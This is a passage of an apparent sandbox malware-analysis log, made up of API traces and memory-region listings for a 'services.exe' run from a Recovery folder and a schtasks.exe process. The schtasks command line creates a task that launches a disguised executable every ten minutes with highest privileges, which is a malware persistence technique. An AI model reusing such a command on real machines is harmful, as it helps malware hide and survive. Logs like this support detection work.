[0162.276] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15baa0 | out: hHeap=0x140000) returned 1 [0162.276] GetProcessHeap () returned 0x140000 [0162.276] GetProcessHeap () returned 0x140000 [0162.276] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155bd0) returned 1 [0162.276] GetProcessHeap () returned 0x140000 [0162.276] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155bd0) returned 0x20 [0162.276] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155bd0 | out: hHeap=0x140000) returned 1 [0162.277] GetProcessHeap () returned 0x140000 [0162.277] GetProcessHeap () returned 0x140000 [0162.277] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ba20) returned 1 [0162.277] GetProcessHeap () returned 0x140000 [0162.277] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ba20) returned 0x18 [0162.277] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ba20 | out: hHeap=0x140000) returned 1 [0162.277] exit (_Code=0) Thread: id = 215 os_tid = 0xa18 Process: id = "62" image_name = "services.exe" filename = "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" page_root = "0x407a3000" os_pid = "0xa20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5172 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5173 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5174 start_va = 0x180000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5175 start_va = 0xc00000 end_va = 0xcd5fff monitored = 1 entry_point = 0xccd67e region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 5176 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5177 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5178 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5179 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5180 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5181 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5182 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5183 start_va = 0x280000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 5184 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5185 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5186 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5187 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5188 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5189 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5190 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5191 start_va = 0x470000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 5192 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 5193 start_va = 0x3f0000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 5392 start_va = 0x630000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 5393 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5394 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5395 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5396 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5397 start_va = 0xb0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5398 start_va = 0x470000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 5399 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 5400 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5401 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5402 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5403 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5404 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5405 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5406 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5505 start_va = 0xe0000 end_va = 0x108fff monitored = 0 entry_point = 0xe1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5506 start_va = 0x820000 end_va = 0x9a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 5507 start_va = 0xe0000 end_va = 0x108fff monitored = 0 entry_point = 0xe1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5508 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5509 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5510 start_va = 0x9b0000 end_va = 0xb30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 5511 start_va = 0xce0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 5512 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5513 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5514 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 5515 start_va = 0x630000 end_va = 0x6fffff monitored = 1 entry_point = 0x6fd67e region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 5516 start_va = 0x7a0000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 5517 start_va = 0x630000 end_va = 0x6fffff monitored = 1 entry_point = 0x6fd67e region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 5518 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5519 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5520 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5521 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5522 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5523 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5645 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5646 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 5647 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 5746 start_va = 0x7fe90800000 end_va = 0x7fe9080ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90800000" filename = "" Region: id = 5747 start_va = 0x7fe90810000 end_va = 0x7fe9081ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 5748 start_va = 0x7fe90820000 end_va = 0x7fe908affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 5749 start_va = 0x7fe908b0000 end_va = 0x7fe9091ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908b0000" filename = "" Region: id = 5750 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 5751 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 5752 start_va = 0x20e0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 5753 start_va = 0x630000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 5754 start_va = 0x20f0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 5755 start_va = 0x2230000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 5756 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5757 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5758 start_va = 0x22b0000 end_va = 0x1a2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 5809 start_va = 0x1a2b0000 end_va = 0x1a62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a2b0000" filename = "" Region: id = 5810 start_va = 0x1a630000 end_va = 0x1a730fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a630000" filename = "" Region: id = 5811 start_va = 0x1a7d0000 end_va = 0x1a8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 5812 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5908 start_va = 0x1a8d0000 end_va = 0x1a9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8d0000" filename = "" Region: id = 5909 start_va = 0x1aa00000 end_va = 0x1aafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa00000" filename = "" Region: id = 5910 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 6034 start_va = 0x1ab00000 end_va = 0x1adcefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6258 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6259 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6288 start_va = 0x570000 end_va = 0x5ecfff monitored = 0 entry_point = 0x57cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6289 start_va = 0x570000 end_va = 0x5ecfff monitored = 0 entry_point = 0x57cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6290 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6291 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6292 start_va = 0x1add0000 end_va = 0x1affffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001add0000" filename = "" Region: id = 6293 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6294 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6295 start_va = 0x7fe90920000 end_va = 0x7fe9099ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90920000" filename = "" Region: id = 6378 start_va = 0x7fe909a0000 end_va = 0x7fe909affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909a0000" filename = "" Region: id = 6379 start_va = 0x7fe909b0000 end_va = 0x7fe909bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909b0000" filename = "" Region: id = 6424 start_va = 0x7fef69b0000 end_va = 0x7fef69b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 6425 start_va = 0x7fef3210000 end_va = 0x7fef335efff monitored = 1 entry_point = 0x7fef3211090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 6426 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Thread: id = 233 os_tid = 0xa24 [0188.462] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 250 os_tid = 0x818 Thread: id = 259 os_tid = 0xc20 [0188.481] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 267 os_tid = 0xdb0 Process: id = "63" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x41243000" os_pid = "0xa28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"yardadultbehindy\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4657 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4658 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4659 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4660 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4661 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4662 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4663 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4664 start_va = 0xff450000 end_va = 0xff497fff monitored = 1 entry_point = 0xff47966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4665 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4666 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4667 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4668 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4669 start_va = 0x140000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4670 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4671 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4672 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4673 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4674 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4675 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4676 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4677 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4678 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4679 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4680 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4681 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4682 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4683 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4684 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4685 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4686 start_va = 0x270000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 4687 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 4710 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4711 start_va = 0x170000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = 